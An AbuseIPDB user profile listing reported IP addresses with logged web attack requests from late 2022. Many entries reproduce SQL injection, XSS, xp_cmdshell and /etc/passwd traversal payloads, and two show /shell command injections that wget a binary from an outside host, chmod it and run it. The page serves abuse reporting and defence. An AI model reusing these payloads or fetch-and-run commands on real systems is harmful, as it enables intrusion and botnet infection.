AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User kozkabas joined AbuseIPDB in September 2022 and has reported 239 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇫🇮 95.216.55.129	03 Dec 2022	High Severity IDS Blocked Event	Web App Attack
🇺🇸 70.170.120.112	02 Dec 2022	Local File Inclusion Detected	Web App Attack
🇸🇪 80.78.26.105	28 Nov 2022	Detected SQL Injection	SQL Injection
🇧🇷 45.70.20.127	28 Nov 2022	Local File Inclusion Detected	Web App Attack
🇺🇸 102.165.16.201	28 Nov 2022	Detected SQL Injection	SQL Injection
🇷🇴 185.123.143.216	27 Nov 2022	Local File Inclusion Detected	Web App Attack
🇺🇸 23.94.175.2	27 Nov 2022	Local File Inclusion Detected	Web App Attack
🇺🇸 198.12.85.124	27 Nov 2022	/default.aspx?pageID=471&ftxtID=4151&2586pg=38&rcbID=/etc/passwd&rcbServerID=mo	Web App Attack
🇳🇱 191.96.168.93	26 Nov 2022	Detected SQL Injection	SQL Injection
🇵🇱 185.16.39.189	26 Nov 2022	Local File Inclusion Detected	Web App Attack
🇳🇱 141.98.9.23	26 Nov 2022	Detected SQL Injection	SQL Injection
🇬🇧 152.89.196.8	19 Nov 2022	/default.aspx?pageID=449&oDGc=4706%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3E ... show more /default.aspx?pageID=449&oDGc=4706%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇵🇱 178.211.139.51	14 Nov 2022	/default.aspx?pageID=471&ftxtID=12848..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&2586p ... show more /default.aspx?pageID=471&ftxtID=12848..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&2586pg=45&rcbID=ctl00 show less	Web App Attack
🇺🇸 66.45.234.206	11 Nov 2022	/shell?cd+/tmp;rm+6o1;wget+https://ddei5-0-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=http%3a ... show more /shell?cd+/tmp;rm+6o1;wget+https://ddei5-0-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=http%3a%2f%2f179.43.175.5%2f6o1%3bchmod%26%2343%3b777%26%2343%3b6o1%3b.%2f6o1%3bsh%26%2343%3b6o1&umid=50A457D1-ED2F-8B05-94FF-76383F9AD1B5&auth=b977129e9f9119d8a67d93b225999cfa8c281c14-e2265b801db8ed6954274805b6a9f3a75c1a2fdd show less	Web App Attack
🇭🇰 81.19.136.10	11 Nov 2022	/Default.aspx?pageID=440&macID=2824&nZvU%3D2445%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%2 ... show more /Default.aspx?pageID=440&macID=2824&nZvU%3D2445%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇨🇭 179.43.141.105	11 Nov 2022	Dangerous Browsing Activity	Exploited Host
🇺🇸 161.35.99.178	11 Nov 2022	/shell?cd+/tmp;+rm+-rf+;+wget+https://ddei5-0-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=htt ... show more /shell?cd+/tmp;+rm+-rf+;+wget+https://ddei5-0-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=http%3a%2f%2famkbins.duckdns.org%2fbins%2fascaris.arm7%3b%26%2343%3bchmod%26%2343%3b777%26%2343%3bascaris.arm7%3b%26%2343%3b.%2fascaris.arm7%26%2343%3bjaws.selfrep%3b%26%2343%3b%24HTTP%2f1.0&umid=647ED146-ED1F-1105-879A-957DFDBC0ECF&auth=b977129e9f9119d8a67d93b225999cfa8c281c14-e4783f0d21f2655a36e229f81751c6d6dfca22a8 show less	Web App Attack
🇺🇸 192.111.137.35	10 Nov 2022	/Default.aspx?pageId=28%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS ... show more /Default.aspx?pageId=28%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23&kulupID=4879%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇧🇬 78.128.113.62	10 Nov 2022	/Default.aspx?pageID=29&macId=235006&kETe%3D2827%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C% ... show more /Default.aspx?pageID=29&macId=235006&kETe%3D2827%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇧🇩 116.206.253.174	08 Nov 2022	/?action=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&aid=%27%2B%28select%2Afrom%2 ... show more /?action=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&aid=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&asc=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&b=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&back=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&blog=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&buy=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cart=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cat=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cat_id=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cid=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cmd=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&code=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&country=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&cpath=%27%2B%28select%2Afrom%28select%28sleep%288%29%29%29a%29%2B%27&d= show less	SQL Injection
🇮🇳 20.198.116.237	06 Nov 2022	/default.aspx?pageID=471%27+and+(%2f%2f%2f%2fsElEcT+1+%2f%2f%2f%2ffRoM(%2f%2f%2f%2fsElEc ... show more /default.aspx?pageID=471%27+and+(%2f%2f%2f%2fsElEcT+1+%2f%2f%2f%2ffRoM(%2f%2f%2f%2fsElEcT+count()%2c%2f%2f%2f%2fcOnCaT((%2f%2f%2f%2fsElEcT+(%2f%2f%2f%2fsElEcT+%2f%2f%2f%2fuNhEx(%2f%2f%2f%2fhEx(%2f%2f%2f%2fcOnCaT(0x7e%2c0x413936313543373834333044%2c0x7e))))+%2f%2f%2f%2ffRoM+information_schema.%2f%2f%2f%2ftAbLeS+%2f%2f%2f%2flImIt+0%2c1)%2cfloor(rand(0)2))x+%2f%2f%2f%2ffRoM+information_schema.%2f%2f%2f%2ftAbLeS+group+by+x)a)+and+%271%27%3d%271+&ftxtID=11301&rcbID=ctl00_LPane_m_471_2353_ctnr_m_471_2353_mo&rcbServerID=mo&2586pg=11 show less	Web App Attack
🇹🇷 24.133.121.202	06 Nov 2022	/?a=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&b=UNION+SELECT+ALL+FROM+information_schema+AN ... show more /?a=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&b=UNION+SELECT+ALL+FROM+information_schema+AND+%27+or+SLEEP%285%29+or+%27&c=..%2F..%2F..%2F..%2Fetc%2Fpasswd show less	SQL Injection
🇹🇷 159.146.18.173	05 Nov 2022	/default.aspx?pageID=545&ueYp=4925%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3E ... show more /default.aspx?pageID=545&ueYp=4925%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇺🇸 154.201.56.81	29 Oct 2022	/Default.aspx?pageID=449&TWlo=8453%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3E ... show more /Default.aspx?pageID=449&TWlo=8453%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Hacking Web App Attack
🇺🇸 192.177.188.10	29 Oct 2022	/default.aspx?pageID=598%27%29AND1%3D1UNIONALLSELECT1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%2 ... show more /default.aspx?pageID=598%27%29AND1%3D1UNIONALLSELECT1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_nameFROMinformation_schema.tablesWHERE2%3E1–%2F%2A%2A%2F%3BEXECxp_cmdshell%28%27cat+…%2F…%2F…%2Fetc%2Fpasswd%27%29%23 show less	SQL Injection